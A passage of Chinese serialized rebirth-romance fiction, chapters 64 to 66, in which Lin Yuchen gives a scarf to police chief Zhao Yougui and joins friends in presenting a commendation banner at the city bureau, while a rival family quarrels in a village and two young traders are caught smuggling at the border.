两人谢过何方明送的围巾,付了锦旗的定金,一起离开华丽衣料店。
大马路上,淳于芳轻声问:“语晨,你是不是也想要何方明的人脉?”
林语晨既不摇头也不点头,看着她说:“人脉不是越多越好,而是重且有用。芳芳,你不觉得我虚伪吗?”
“没有啊。我觉得你很好很真诚。”淳于芳嬉笑,“若不是你告诉赵警官,请他拦下我。我单枪匹马揭发林菲儿和陆天的事,现在已经吃不了兜着走吧?对于我来说,你是非常重要的朋友、合作伙伴,甚至是我的贵人。
所以,你不要在意赵晓琳说什么了。”
林语晨尴尬:“茉莉同你说的?她可真藏不住事。”
“呵呵……我先回晓鹤的古董店等你。你去找赵警官吧。记得要把我的味精送给他哦。”
64. 送围巾
林语晨看着她离去,总觉得淳于芳也看出什么,而且在故意制造机会。
她提着一袋子味精,翻出当初赵有归记的家里地址,坐公交车寻过去。
沈秋霞正在院子里给绿植浇水,见到林语晨大喜过望。
“晨晨……真是你。晨晨……”
“婶婶。”林语晨走上前,环顾一圈两层楼的排屋,“若不是有归哥写过地址,我还真找不到这。”
“上次喊你来吃饭,你不来,可让我惦记。现在,熟门熟路,以后要常来看看婶婶。”沈秋霞接过她递来的东西,还有点沉,好奇问,“这是什么,你妈让你带吗?”
林语晨尬笑,被她请进家门。
入门是木脚架,上面放着三盆绿植。斜对面是一张盖着白色棉布蕾丝的双人沙发椅子,再是茶几,以及类似酒柜的成列柜,当中一台非常迷你的黑白电视机。
“快过来坐。有归还在单位,没这么快下班。婶给你泡糖水喝。”
林语晨赶紧谢绝:“谢谢婶婶,我不喝糖水。”
“是是是……你长大了,婶给你泡茶。”沈秋霞又倒杯茶,还打开电视,“你看会电视,一会婶给你做饭吃。”
“婶婶,别忙了。有归哥之前帮过我一位同学,人家芳芳记得有归哥的好,特意让我带些味精过来,表示感谢。
我坐一会就走啦。”
沈秋霞愣了下,看眼塑料袋,陪她坐一块:“有归不让我收东西。自从他当上局长后,楼里的人都挺客气,也不和我闹别扭,经常给我带菜什么……但是,有归不让我收。他怕我无聊,花大价钱买台电视机。
可是,婶也不爱看电视,就是……总觉得住不习惯。这不,养养花浇浇水,找点事做。”
林语晨听着她的念叨,知道沈秋霞一个人孤单。
赵有归成为局长,也改变不了沈秋霞从前吃过的苦、受过得罪。
“婶婶,你不习惯就回老家住。有归哥这么大个人,单位管饭,用不着你一定要待在这。我妈、雪梅姨、小翠婶……都惦记你呢。”
沈秋霞被她说笑,拍着她手:“你妈惦记我不假。其她人就算了吧,不在背后骂我克夫克子就不错了。”
自家知道自家事。
沈秋霞年轻的时候能干,但脾气也大,受的苦都发泄在儿子身上。
本以为赵有归一气之下离家,这辈子除两老死得那日,都不会回家。
没想到她一场病,赵有归真就退伍回家。
沈秋霞的心上是感动的,但也有些别扭。
一个人孤身惯了,突然多个儿子要照顾衣食住行、催他按时吃饭……并不是人人都觉得这是开心的事。
起初,她确实挺开心。但是,时日久了,与儿子说不到一块,又被拘在这小院子,多少有点烦闷。
只是,这些心里话不能往外说,说了好像违背世事伦常、大逆不道。谁家母亲不想同孩子住一块呢?
实际上,她更想一个人住在乡下,种点菜、养几只鸡……虽然冷清,但自在。
“晨晨,还是你明白婶。婶是真想回老家住。现在,我的身体好很多,配了药按时吃,平时真没事。对了,你高考完,录取通知书来吗?”问这话的时候沈秋霞想得挺明白,上了大学的林语晨,未来充满不确定性,不一定能成为自己的儿媳妇。
“来了。再过几天,我就要去学校报道。”林语晨莞尔。
“好好好,大宝和阿香一定高兴极了。你坐,婶给你拿果子吃。”沈秋霞心道,“果然”。
她也只能祝福林语晨。大宝和阿香都是好人,女儿有出息,大人也开心。
她把放着桔子、苹果的果盘端来,又说,“年轻的时候没这些东西吃,馋得很。现在有了吃却已经不想吃。你拿着吃。”
她把桔子递给林语晨,“很甜的。”
林语晨接过只桔子,应着她的话,一边剥皮:“婶,现在的日子越发好过,想吃就吃,别舍不得花钱。那……我的任务完成了,一会得走了。”
“不行。你得留下吃饭。你帮人把东西送来,因为你送的,我不拒。但是,你得过有归这关。不然,回头他又给你送家去。”
“那不正好,你跟着他一起回赵家村,就赖着不走了。”
沈秋霞哑口,忍不住地笑:“呵呵呵……要不说晨晨聪明,鬼精鬼精,哈哈哈……”
林语晨知道她这话没恶意,同她分吃橘子,擦了手:“婶婶,我真得走……”
“再吃个苹果。婶婶有些东西让你带回去给大宝和阿香。你等等我,我去去就来。”沈秋霞知道留不下林语晨,只能拿出杀手锏。
她跑去门卫处,打电话进赵有归的办公室,想催他快回来。
结果电话响半天,对面没人接。
“这死孩子,给你机会都抓不住。”沈秋霞挂断电话,等回屋子,林语晨已经走出来,“晨晨,这就回去啦,不吃晚饭?”
“不了。刚吃没多久呢。”灵江楼一餐饭,大家吃很久,四个女人一条条写明白,彻底把合作计划定下来。
沈秋霞拿她没办法,把苹果、桔子、罐头装一塑料袋,一并递去:“拿回去给你爸妈尝尝。”
“好,谢谢婶婶。”林语晨也不推拉拒绝,拿上东西离开。
沈秋霞目送她,回家后坐在沙发上发呆。
她打开塑料袋,五包味精下面垫着一块用灰薄纸包起来的东西。
心里一惊,怕是有人借林语晨的手给赵有归送钱。
等打开后,露出一块藏青的呢子围巾,又松口气,随之喃喃:“味精是……帮朋友忙带的。这围巾……晨晨送有归的礼物?”
赵有归正好回家,与穿街走巷的林语晨完美错过。
他回到家,喝口水,脖子上多了块厚呢子布。
“妈,做什么呢?这么热的天。我回来拿点东西。”
“热吗?晨晨来过了。她帮朋友送五包味精给你,说是谢你帮她家平冤昭雪。围巾在味精下面,说不定是晨晨送给你。你知道女人送男人围巾的意思吗?”
“?”赵有归回忆起淳于芳的事,抓住呢子围巾,诧异说:“她人呢?”
“刚走十来分钟吧,你回来的路上没看到她?”
赵有归放下围巾,抓起放味精的塑料袋追出去。
沈秋霞看着几步消失的身影,目光落在茶几上的围巾,骂句:“同你爸一样倔,这辈子就等着打光棍吧。”
要不说知子莫若母,前世的赵有归不就至死都打光棍嘛。不过,不像赵爸,而是像沈秋霞自己!
赵有归跑上街,环顾四通八达的小巷,知道追不上林语晨,转去开车。
然而,车子启动,他呆坐在驾驶室,恍然:追上去又怎么样,还她味精?告诉她爱意、挽留她?
然后呢?
她会为自己留下来吗?
——肯定不会。
“呵……”赵有归自嘲般笑着,回家拿了东西后返回单位。
至于味精,被他落在车上。
翌日大清早,林语晨在赵晓鹤的店里接待何方明,看着他打开的锦旗,上面用黄布贴写:“灵江市市局,人民好公仆,晨芳(国际)贸易公司、淳于芳,赠”。
赵晓鹤指着落款的抬头,毫不避讳地直言:“你们在搞什么?”
“市局做好事,还淳于家公道。淳于芳作为淳于家的代表人,送面锦旗谢谢他们。”林语晨淡定解释。
“你不怕给有归哥惹麻烦啊。公司?若是团体、个人就算了,公司算什么名头?”赵晓鹤平时二愣子,这会看着落款都在摇头,“你们真不是存心找茬?”
淳于芳本以为这是好主意,一听也觉出有问题。
“语晨,要不算了吧?”
林语晨笑而不语。
何方明:“其实,现在送锦旗不多,送了问题也不大。谁会注意公司不公司的署名。但是,锦旗挂在墙上,若是有人去市局看到这面旗子,再看落款,以后在商场上看到你,多少会给点面子。
林小姐,你这招表面上是借花献佛,实际上高瞻远瞩,图谋日后。”
林语晨缓声说:“以公司名义送旗子确实不是大事。当然,这得看时代。日后,若再送这种名义的旗子就比较敏感。赵局长行得端、坐得正,又怎么会担心这?”
淳于芳听明白林语晨潜在的话意,越发担心:“语晨,我觉得这样不太好!一开始我没想到这点,现在想想……若是给他带去麻烦,反倒是我不对。我不能恩将仇报。”
林语晨的眼里滑过赞许:“芳芳,你和茉莉、师娘、我,签过合同、协议。若不借力乘风起,光凭个人起势,往后多少会遇上些麻烦。”
淳于芳的脸上闪过挣扎,眼神渐趋清明肃正:“我决定用个人名义赠送锦旗比较好。他是好人,我不想给他带去麻烦。”
林语晨笑着挑眉,再次问:“你确定?”
“嗯。”淳于芳肯定地点头,走向何方明,“何叔,对不起。这……”
何方明笑摇着头,抽出另一面准备好的锦旗:“昨天,林语晨又回一趟我店里,按她的要求,重新做第二面锦旗,以你个人名义署名的锦旗。”
淳于芳诧异地看向林语晨和何方明:“怎么……林语晨,你没和我说!”
“对不起,芳芳。我没有同你说是因为我自己也没想好。”林语晨说出内心真实的想法,“若是我,我会以公司名义送这面旗。正如何叔说得,旗子挂在市局的墙上,或多或少会有些影响力。”
她哂笑了下,继续说,“不出意外,今天你还会收到五包味精。所以,赵局长这种骨头硬,不好啃的人,与其借他东风借不成,偷鸡不着还可能蚀把米,我倒是赞同你的想法,正正经经送旗,不起旁的心思。
昨天,我临时起意去找何叔,预订第二面旗子,心里也犹疑不定。芳芳,你不理解,你有我已经找不回的特质。两面旗在这,真正做选择得人是你。”
而这是一场品德的考验。
前世,林语晨可以白手起家,拉拔楚邵成为灵江市首富。
今世,林语晨同样可以扶持淳于芳。一个肯为复仇下跪,为堂姐、大伯家鸣不平的女人,能屈能伸、有义有谋,不比楚邵这样的渣男更值得吗?
当然,这一点就没必要对淳于芳坦白。所以,淳于芳还有林语晨已经没有的纯粹,一如李丽珍对几人的判断。
淳于芳大大地吸口气,拿起个人名义的锦旗,卷起来。
“林语晨,有时候,我真觉得茉莉说得对,你是个……极其复杂的人。”
林语晨等着她说出“虚伪”二字,结果迎来“复杂的人”几字,莞尔说:“迟早你也会是个复杂的人。”
淳于芳在错愕过后坦然接受这句:“我明白了。你只是走在我们前面。你愿意同我一起去送锦旗,大家一起去吗?”
何方明觉得她们的对话像是老师和学生,这会赶紧说:“去啊。”
赵局?灵江市公安局新任局长就姓赵,听说办个大案子。
赵晓鹤正好没事:“去啊。茉莉……茉莉去吗?”
“找我呢?”张茉莉想着同她们一起回去,正好赶上趟,“我去,这么大手笔,送锦旗啊?晨芳国际贸易……好家伙,林语晨,算盘珠子都打到赵有归头上去了?”
林语晨知道她的远见、见解是家传绝学之一,懒得理她,同何方明说:“麻烦何叔送我们一程。”
“好说好说,走。”何方明同张茉莉打声招呼。奈何人家大姑娘天生气质挂,不搭理人都不会让人生气。
路上,淳于芳给张茉莉解释两面锦旗的事。
张茉莉笑说:“你们会不会想太多?赵大哥不是小气人。而且,他可能都不会出来接这旗子。”
林语晨听后不语。
一行人热热闹闹到市局。
市局接待员听说来送锦旗,又问送给谁?
淳于芳壮着胆子说:“我们就送给市局。若是方便,还想见见赵局长。他阻止我犯错,帮助我大伯重新振作起来。”
接待员一开始表情挺正常,听说见局长,神色有些意味深长。
局里有不少黄金单身汉,含金量最高就是赵局长!
他喊几人稍等,跑去请示正主。
今日市局里的人都没怎么外出,听说有人送锦旗,都等着凑热闹。
赵有归听说有人送锦旗,蹙眉反问:“非得我去吗?你让老钱去接待就行。”
接待员听令去找钱育才。
宋景突兀地闯进来:“赵局……是……嫂子……嫂子……”
赵有归讶异,宋景只喊过一个人作嫂子。
“林语晨……来了?”
宋景狠狠地点头:“还带了一大帮人。”
赵有归下意识拉起唇角又忍住:“去看看。”
接待员找到钱育才去大堂,后脚赵有归就快跑追出来。警员们见是他,放下手头的工作跟在后面,一帮人奔向市局大堂。
两方一碰面,何方明都不敢说话,对面的阵仗太大了。
张茉莉倒是自来熟,挥手打招呼:“赵大哥,宋警官,你们好。”
钱育才撞下宋景,以眼神询问:这是老妹?
宋景以眼神回复:都说最漂亮那个。
赵有归的目光从几人面上一一扫过,直把人盯地发毛。
林语晨感受到权利加诸于一个男人后滋生出的魅力。
前世,她见过不少领导,吃过饭、喝过酒,被迫应酬几句冠冕堂皇的话……但是,那些人都没有赵有归站在人群中突兀,宛如山岳般扑面而来的威严、乃至成熟禁欲男人才有的极致诱惑。
她甚至从他的眼神里看出无奈,以及目光相触得刹那,彼此相吸又逃不开地悸动。
宋景在旁边说:“嫂子好像不是发起人,别过脸了。”
钱育才:“哦,这我熟,赵局的眼神都写明白了。”
赵有归暗吸口气,沉着上前:“淳于芳?你们好!”
这锦旗上面写着淳于芳,应该是为了她大伯的事来表达感谢。
“赵…
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…赵警官,”淳于芳生出赶鸭子上架的紧张感,“谢……谢谢你亲自到我大伯家问……案情,帮他沉冤得雪……”一紧张,词都用重了。
左右找林语晨救场,发现她垂着目光当没看见。
淳于芳暗吸口气,“我大伯现在不像以前那么死气沉沉,对生活也有希望,都是赵警官为民做事,帮了我家。所以,我来谢谢赵警官,谢谢市局的警察叔叔们。”
一群大不了她几岁的叔叔们默默憋住笑意。
林语晨撇眼,看着淳于芳把锦旗单手送去,帮她握了另一头。
“双手。”
淳于芳“哦”了声,双手捧着锦旗,展露“人民好公仆”几个大字。
赵有归看着这行人,往日严肃的脸在努力拉起唇角:“谢谢。”
钱育才带头,几十号人联手鼓掌。
宋景向大家敬礼,接过锦旗,递回给赵有归。
赵有归接手后一声正气昂扬的“立正”,身后响起整齐划一的脚步声。
他带头,所有警员齐齐向淳于芳等人敬礼。
林语晨、张茉莉、淳于芳等人被这一幕感动到什么想法都没有,内心被激涌起一股热血,热麻了四肢。
事到临头,收旗方没有社死,送旗方却深受震撼。
林语晨还为一开始借东风的想法感到难为情。
大家离开市局时,依旧被那股正气的风吹地心潮澎湃。
张茉莉在门口广场上感慨:“我哥怎么就放弃当警察或者当兵呢?不当兵后悔一辈子啊!”
淳于芳:“我这辈子只敢送这一次。幸好,没拿那面锦旗……”
林语晨接收到她的眼神,赶紧表示:“别提了。我认错。”
几人忍不住笑起来。
“等等……”赵有归追出来,手里拎着眼熟的塑料袋。
几人回头看去,大气不敢喘地等他过来。
林语晨呃了声:“我说吧,他会把味精送回来。”
不知道那块围巾……有没有在里面。
赵有归朝几人点头,走到淳于芳面前:“谢谢你的礼物,但是我不能收。”
“……”淳于芳血红张脸,收起塑料袋,鞠了一躬,“谢谢,赵警官。”
完了后赶紧回何方明的车上。
何方明想握手,但人家的眼睛只看着林语晨,点头后走开。
赵晓鹤目露崇拜地招呼句:“有归哥,有空去我那坐坐。”
“好。”赵有归目送他离开,看向慢腾腾转身的张茉莉。
张茉莉反身朝林语晨从牙缝里挤出声:“好自为之。”
林语晨眨眼,有什么好自为之,走人就是了。
“有归哥,你忙。”转身要走,被精准无误地握住手腕。
大夏天,穿得是断袖,肌肤和滚烫的手掌相贴,似乎要被融化。
“林语晨,”赵有归拦下人,又赶忙放开她的手,“围巾是你送吗?”
“啊?”林语晨下意识摸在手腕上的不适,点头,“我觉得很适合你。”
“和那块帕子的样式一样,你知道吧?”赵有归肯定地说,目光炯炯,宛如他的手掌温度。
林语晨的心涌到喉口,不用多说就已经明白他的意思。他在问那个醉酒的下午,问那次稀里糊涂送白色手绢的事。
她转着眼睛,回避这个话题:“你知道赵晓琳为你选择留在灵江市读大学吗?”
“……我不知道。”赵有归蹙眉,反问,“她不该在灵江市读大学吗?”
前世,赵有归回来的时候,赵晓琳已经是二院副院长。关于她的人生经历,也是两人相遇后,她自愿告诉赵有归。
赵有归根本不知道赵晓琳究竟在哪里读大学。
“……”林语晨承认自己在无理取闹,甚至因为赵晓琳的无礼,想把矛头对准赵有归。
诚如赵晓琳骂得一样,真正的林语晨自私、虚伪,面热心冷。
她从来不是天真的高中生或历世还浅的大学生。她是林语晨,曾经立在灵江市财富之巅的功利女人。
林语晨踏前一步,仰面逼近赵有归。
赵有归诧异地俯视她,眼里流露一股自己都没发现的期待。
“我不知道。那天她和赵晓鹤来找我时,我已经同她说得很明白,她就是我妹妹。”
林语晨嫣然一笑,被她深藏起来的妩媚就这样堂而皇之地流泻在赵有归的面前。
“显然,她生气了,而且不打算放弃你。你们,影响到我了。”
赵有归看着她说完这句话,像一阵风一样卷走,垂于双侧手再次微微颤动。
他想要挽留她,说个明白……
“林语晨……”
林语晨的脚步微顿,只回半张含笑的侧脸。
那笑说不上来是讥讽还是回眸,充满诱惑,也满是怀疑。
这样的姿态成功扼住赵有归的喉咙,那想说还未说的话再次落进肚。
真实的林语晨拥有掌控他人的能力,不然,她怎么在灵江市的猛虎饿狼之中成功游走。
上车前,林语晨还是回过身,看向依旧站如松的男人,释放少有的温柔软糯:“希望你喜欢那块围巾。”
“嘭”得一声关上车门。
何方明大气不出,赶紧启动车子。
车里的大部分人都屏住呼吸。
赵晓鹤好奇问:“语晨,你……刚刚……是……”面对林语晨清泠泠的目光,一下子卡壳,什么都问不出口。
张茉莉握住林语晨的手臂,暗暗竖起大拇指。
淳于芳紧跟一个口型:佩服!
赵有归垂目,深深地吸口气,抑制不住的唇角已经自然上翘,咧到耳后根。
他从来没想过一个女人对自己的影响会这么大。大到改变行事作风、乃至人生。
“林语晨,这才是真正的你,我见过这样的你。”细品起来,又何尝不是被前世那个意气风发的女人、悲情落寞的女人、临到头不服输的女人吸引。无论你的哪一面,跨越时空,早已深深烙印在心底。
回到市局大堂,赵有归发现所有人都异常安静,下意识看眼大堂的窗户,从这里望出去是市局的停车广场……轻咳了声:“宋景。”
“到!”宋景宛如豹子一样跳起,大声回复。
所有人都默默地看着他,给予同情的眼神。
赵有归轻轻蹙眉,又松散:“你把锦旗挂大堂。”穿过道,径直回办公室。
赵局的办公室门一关,大堂里顿时热闹。
钱育才:“我的天,光天化日亲上了。”
孙科:“我的角度看好像……差点!咱们赵局喜欢的人长这样啊。英雄难过美人关。”
警员:“祁连队长说的老妹就是她吧?她给人的感觉……让我想起上次审大佬女人的场面。”
钱育才:“哎,咱们赵局这位,手段指不定高出多少……”
宋景重重地咳嗽:“你们别瞎议论。人家林小妹顶好一个人。”
钱育才睨去:“年轻。太年轻!”
65. 归来人
从灵江市回来,林语晨返回赵家村的时经过林家村。
算算时间,楚邵差不多该回来。而且,林语晨很好奇,赵晓琳怎么就想照顾林飞成那小崽子?
林语晨往林家村里经过,不认识林裕钱家,但知道楚邵家在哪。
进了村,不用人指点,一群人围在人家院子门口看热闹,正是邵美芬家。
林语晨站在人群外,村里的人正七嘴八舌说着话。
林裕宝的女儿林菲儿回来,从小叔家把弟弟林飞成带出来。
结果,姐弟两人不住在原先的林裕宝家,反倒住进楚家。
村里人说:“林裕宝家的姑娘估计是自己上门。楚邵这人长得还行,要不是家里穷,大把人嫁给他。”
“以前林菲儿哪看得上他?这不是爸犯了事,没人照顾,便宜穷小子。”
“谁便宜谁还说不准呢。林裕宝的女儿了不得,在县里跟人家……什么局长,苟且。”
“哎哟,要命。邵美芬清高得很,说自己家是知识分子家庭,却不管不顾一连生三,扒着咱们林家村过活。现在的小儿媳是……看她得意什么。”
“谁说不是呢。我就看不惯她的嘴脸。”
……
林菲儿正和林彩霞对骂。
起因大概是林飞成饿,吃了厨房里的食物,惹到林彩霞。
一点事已经上升到人身攻击。
“你算什么弟媳妇,楚邵他认你吗?我们认吗?”林彩霞气不过。两夫妻干活一家人吃不算,送上门的女人带个弟弟,这叫什么事?
“谁家媳妇上门把弟弟带进门?买一送一都算不上。大伙听听,世上哪有这样的道理?”
“我弟在这怎么了?我和楚邵在一起,我弟就是楚邵的弟弟,楚家的弟弟。”林菲儿把林飞成护在身后,梗着脖子,“妈,你出来说句话。”
邵美芬丢不起这个人,躲在堂屋不敢出来。
拍着桌子喊:“够了,别吵了。”
奈何没人听她的话。
楚新意站在门廊,哼了声:“臭小子偷看我洗澡,简直不像样。”
林菲儿恼火:“你这么大个人别乱说。他这么小知道什么?”
“他不知道?他进别人屋前不会先敲门问一声里面有没有人吗?他还拿我的粉色头绳。这么小就知道偷东西。坏种生的坏胚子。”楚新意看她奔来,回头喊,“妈……”
林菲儿停下脚步。婆婆宝贝这个女儿。
她咬牙:“楚邵就快回来。他拿我爸三万块钱,就得对我们负责到底。你们要是再敢胡言乱语,欺负我和飞成,这家谁也不要好过。”
人群顿时炸锅。三万块不是小钱,这年头别说养孩子给口饭吃就行,就是供他上大学都没问题。
看热闹的村民顿时一边倒,七嘴八舌:
“三万块啊!万元户都是稀罕货。别说弟弟,把她妈带来都得养着。”
“是啊。林裕宝真是能搞钱。对了,听说他那车还停在县里呢。”
“林裕钱去试几次,打不开车门也不会开车,正琢磨把它卖掉呢。”
……
林彩霞听着风声不对,就开始算旧账数落:“三万个屁。上半年,楚邵帮你爸开车赚死工资,钱拿回家一分吗?得了钱就跑外地不着家,现在好了,享福的时候想不到我们,要养老婆孩子就知道往家里塞人。狗都比他知道感恩!”
“他的工资不是买自行车吗?车子不是你老公在用吗?”林菲儿已经快受不住。不论是村里人还是楚家人,没有人站在她姐弟这边。
林飞成抿直唇,一声不吭躲在姐姐后面,眼神一斜,望向院门口因为三万块钱而惊呼嚷嚷的人群,眼神射出恨意。
人群里,只有林语晨看到这双阴狠如小恶狼的眼睛。
她不为林菲儿可怜,也不为楚家不值,只觉得天理昭彰,恶人自有恶人磨。
骂架最终成打架。
林彩霞和林菲儿打成一团。楚新意想帮忙,挨了林飞成一脚,向半大的孩子扑去。
楚家热闹得像是杀猪场,不断发出嗷嗷叫声。
这番热闹中,满脸胡子拉扎的楚邵拨开人群回家。
他甚至没有发现人群里围观的林语晨,丢下行礼包,一声吼:“住手,够了。”
邵美芬仿佛听错,连忙从堂屋跑出来:“阿邵,你回来了。你怎么……这样了?”以往衣着干净亮眼的儿子竟然穿得皱皱巴巴,满脸胡茬,像是逃难的难民。
楚新意也很震惊:“哥,你不是说去外地发大财吗?”一不留神,挨了林飞成一脚,气得大骂,“臭小子,胆子肥了!在你叔家当小瘪三,在我家就作威作福。哥,回来的正好,你管管他。”
林菲儿撸把乱糟糟的头发,呸了林彩霞一口。
林彩霞见到楚邵,气更盛,反手给她一耳光。
林菲儿愣了,抓头发就算,打脸是怎么回事?
她嚎哭了声,再次扑杀上去。
两人又打在一起。
楚邵都看愣了,回过神再喊:“住手,林菲儿!”
然而,这次更没人听他的话。
几个人打得越发凶。
楚新意不是灵活的林飞成对手,跑来拽楚邵帮忙:“哥,你看这小兔崽子老欺负我!呜呜呜……”
林飞成看向皱眉的楚邵,往林菲儿处躲。
挨揍多了也学会看眼色,知道怎么躲开潜在风险。
楚邵瞟眼这孩子,数落楚新意:“他人小胡闹,你也跟着他胡闹,还有没有一个做小姑的样子。”
楚新意微愣,都说哥哥有了媳妇忘了娘,妹妹更是没有存在感。
她气不过,跑回不知道怎么办的邵美芬身边。
林菲儿察觉林飞成害怕,不与林彩霞打架,不慎又挨她一脚。
她忍了,拖着林飞成走到楚邵面前,委屈喊:“你怎么才回来啦?”
楚邵看着她疯婆子似的模样,气笑:“我为什么才回来你不知道吗?”回头朝看热闹的人群大吼,“你们看什么看,没见过吵架啊?”
人群一哄而散,村民的脸上是看热闹的兴奋。
若是林家村人自己人打架,兴许还有人帮忙拉架。但是,楚家人打架,大家伙只觉得热闹!
这就是欺外!
林语晨走出林家村,回忆楚邵落魄的样子,楚家一地鸡毛的状态,还挺舒畅。
不过,楚邵回来,又该琢磨发家的事吧?
这家伙最不缺得就是厚脸皮。
“看来我得提前去学校报道,避开这只大头苍蝇。”林语晨默默想着。
翌日,林语晨躲去张茉莉家,同她商量北上去学校报道的事。
张茉莉正有此想法。唐琪妈妈虽然温和,但真生气也够人喝一壶。
两人约定出发的时间。
楚邵把家里的事安排好,面对林菲儿的冷嘲热讽,一时也无法去质问林语晨,拖三天才想起问问举报的事。
等他去找林语晨,林兰香说:“你来晚了。晨晨已经去学校报道。她考上大学。别问我她在哪,你觉得你们还合适吗?”
楚邵知道几个村都是互相结亲,一个村有什么热闹,别的村没几天就能听个囫囵。林菲儿住进自家的事肯定被林兰香知道了。
“丈母娘”的嘴有多厉害,前世他早就领教过。
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现在,他心里不痛快,别人也不要好过,尤其是这位“丈母娘”。
楚邵冷声说:“怎么不合适?她就是飞上天,也是我楚邵的老婆。”
林兰香抄起扫帚打去:“滚!”
楚邵被扫地出门,八月的天晴空万里,在他眼里却是一片阴霾。
林语晨去上大学,比得知举报自己的人可能是林语晨还让人难受。
这一世的林语晨已经完全变样。
楚邵坐在菜梗边发半天的呆,恍惚猜到一个可能:“呵,赵晓鹤、赵有归都不是重生者。林语晨,真正的重生者是你吧?
这世上有谁见我就想揍我,谁见不得我好一点?
除前世的林语晨,还能有谁?”
一旦认定这个猜测,过往所有的疑问都能迎刃而解。
赵有归返乡探亲,变成市局警察?谁打电话喊他回来?林大宝!
造纸厂变成村集体厂?明明说好让赵晓鹤借钱办厂,结果等个空。林语晨搅合这事,拖缓本该办厂的进度,害林裕宝因此责怪自己。
——谁拿走这件事的好处?赵家村,林大宝!
原本憎恶学校的人复读高中,考上大学?林语晨!重生回来,竟走一条不一样的路。
赵有归找人做卧底,扳倒前世那批本该在金字塔顶上的人。
——他找谁不好,偏偏找我。又约在林家碰头……不都是林语晨的手笔?前世与林语晨有仇得又何止我一人?
陆天、赵田、陈见……这些人都和林语晨有瓜葛,喝过酒吃过饭,有的甚至想睡她。
这些人现在在哪?
陆天死了。赵田被抓,陈见……市局里的人,应该也被抓了。
楚邵好像被打通奇经八脉,想明白这一切,哭笑不得地仰天大喊:“林语晨!林语晨!”
眼泪泛上来,又低声哭,“为什么不给我一次机会。林语晨,我错了。你给我一次机会啊。”
八月天热,谁也不会傻乎乎坐在菜梗上暴晒。然而,此时的楚邵好像喝冰雪碧般透心凉。
他心头凉,脑子里却在发热,眼里也滋生出怨恨。
“你以为搞垮我两次就能让我起不来吗?林语晨,你太小看我,小看这世上的黑势力。灵江市的盘局里确实有无数的小喽啰,带刀侍卫罗恒,丞相王织信,以及土皇帝李虹基,却不知道地头蛇上有‘真龙天子’,还有左右护法、国师。
呵呵呵……林语晨,总有一天,我会让你回来求我!”
日头落西,村里人出来走动。
楚邵意识到自己是多么可怜可笑,跌跌撞撞地起来,向林家村走去,嘴上还在呢喃:“林语晨,都是你逼我。”
数日后,楚邵卖掉林裕宝正经购买的货车,带上邵美芬、楚新意、林菲儿、林飞成离开林家村。
邵美芬是南省苏市的知青下乡,因为在林家村落户,一直没回过老家。
一直以来,她嫁给楚邵父亲,又生三个孩子,觉得丢了工人阶级、知识分子的脸,没敢回去。
如今,楚邵提出投奔苏市的外公外婆。
邵美芬为儿子、女儿,以及大儿和林彩霞,同意楚邵的提议,一起进城投亲。
南省苏市有谁?
有本文开头林语晨梦里提到过的两人:赵局,赵楠天;单局,单剑雄。
这两位正是“真龙”身边的国师和护法,而且是他的学生。
前世85年后,这两人才被先后调入灵江市,与他们的老师一起,风头无两。
而赵有归登场时,这“真龙”已经退休养老。
如今,赵楠天和单剑雄还是苏市两小县城里的处级领导。
66. 食色性
深地闸口外,何罗秋在市场外等着帮忙运货的人从中英街带货出来。
李伶俐在他身边来回走动:“罗秋,会不会出事啊?”
“不会。大家都是这么搞,他们没事还省钱发财,我们也一定会没事。”何罗秋口上说着,心却悬在嗓子眼。暗暗下决心,做完这一笔就去学校报道。之后的买卖就请淳于芳帮忙带货。
“这都怪林语晨,竟然跟何成说,不给我们带水货。她凭什么干涉我们?”李伶俐的脸色非常不安。
何罗秋没吭声。他和李伶俐找到何成,要求他帮忙带水货,价钱甚至可以比上一次更高一点。
何成却说:“上一次林小姐在临走前拜托过我,若是你们来让我带货,走正规渠道的话好说。若是走水货,我不能帮忙。否则,她会告发我。
我想你们能明白她的意思。”
因为这茬,何罗秋和李伶俐琢磨再三,还是为降低成本、又想多赚点,决定走水客的路子。
一天时间,水客分数趟把两人要的货带出关卡。
何罗秋和李伶俐清点数量,慢慢放下戒心,一次次点货付钱。
然而,在两人准备装车离开前,边防战士提枪追来:“站住!”
司机第一个发现不对劲,开车跑了。
车上还有装了一半的货物。
“啊!”李伶俐愣住,“车……我的货……”一把拖住要追的何罗秋,“罗秋,怎么办啊?”
“别管了,跑啊。”何罗秋拽着她跑,没几步被边防战士逮个正着。
战士看着余下的零散货物,沉声问:“跑什么跑,出关证明呢?”
何罗秋咽口吐沫,抱头蹲在地上,什么话都说不出口,脑海里只回荡两字:“……完了。”
李伶俐喃喃:“完了……全完了!我要上学……不关我的事……我要去学校报道……”
何罗秋看着同伴接受无能的状态,属于男人的责任心上头,心中发狠,蹙眉仰头:“这些都是我的东西,和她没有关系!”
战士们检查货物,交流着:“超额了,而且没有凭证。”
“记住车牌吗?联系深地市局,追踪走私货。”
……
何罗秋说完就很后悔。走私是刑事犯罪,一旦被抓,按情节严重,得坐年数不等的牢!
此时此刻,他真正明白林语晨不让何成帮忙走水客路的意义。
“……晓琳……”我不能按时到校报到。学校也不会接受一个犯罪的学生。赵晓琳更不会喜欢一个犯罪者。
——我究竟在做什么呀?
战士看着彷徨的小青年:“我们会查清楚这些东西的归属。起来吧,你们跟我们回去接受调查。”
李伶俐泪流满面:“我错了。这都怪林语晨,若不是她不让何成帮我们……”
“别说了。”何罗秋沉重地说,“你还嫌我们犯的事不够大吗?”
九月十一号,李伶俐已经离开深地五天,赶上火车去学校报道。
何罗秋的爸爸从老家赶往深地,看着胡子拉渣的儿子,一句话都说不出口,默默陪他走完所有流程,交罚款、判处一年牢狱。
九月十二号,各地大学先后开学。
林语晨早来十多天,对学校内的道路已经摸得很熟,参加迎新接待的活动,帮学长、学姐的忙,给新生引路、办入学手续等。
“林学妹,吃饭了。”张安国比林语晨高一届,属于他们迎新小队的头领。
“来了。”林语晨接过油纸包的灌饼,咬一口,甘香脆软,裹的料很足。“张学长,阿姨做的饼子真好吃。”
“哈,谢谢。多谢你的提醒,现在饼子里增加许多新鲜菜,油炒土豆丝、新鲜菜瓜,酸萝卜丝……以前都是大酱菜,吃多了还反酸。”张安国边说边给队友们分饼。
同年级队友蒋经纬打趣:“以后语晨学妹的早饭,都由安国包圆了。”
张安国睨他:“那当然。你们谁喊我带,我什么时候不带了?我妈的小摊子全靠你们的光顾才支撑到现在。多谢大家捧场。”
队友们一阵笑闹。
张安国走到林语晨旁边,轻声说:“我妈的摊子刚搞起来的时候,大家都只观望不买,怕吃得不放心。后来,我竭力推销、帮带早饭进校。一年多来,她的煎饼摊就远近闻名。”
林语晨莞尔。
